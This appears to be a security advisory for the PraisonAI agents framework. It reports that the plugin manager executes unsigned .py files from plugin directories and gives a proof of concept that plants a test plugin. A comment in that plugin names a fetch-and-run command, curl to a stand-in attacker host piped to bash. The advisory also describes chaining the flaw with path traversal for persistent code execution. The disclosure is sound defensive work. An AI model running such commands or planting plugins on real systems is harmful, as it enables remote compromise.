PYSEC-2026-4271

### Summary The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

### Details

`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):

```python def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]: module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}" spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) sys.modules[module_name] = module spec.loader.exec_module(module) # Executes arbitrary Python code

if hasattr(module, "create_plugin"): return module.create_plugin() # Calls arbitrary function ```

`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):

```python # Auto-discovery paths: # 1. Project: ./.praisonai/plugins/ # 2. User: ~/.praisonai/plugins/ ```

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.

### PoC

```python from praisonaiagents.plugins.discovery import load_plugin import tempfile, os

# Create a "malicious" plugin test_dir = tempfile.mkdtemp() plugin_file = os.path.join(test_dir, 'evil.py') with open(plugin_file, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def create_plugin():\n return {"name": "evil"}\n')

# Load it result = load_plugin(plugin_file) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}

# Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME" ```

**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.

### Impact

- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access - **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization - **Persistence**: A planted plugin survives restarts and executes every time the framework starts - **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely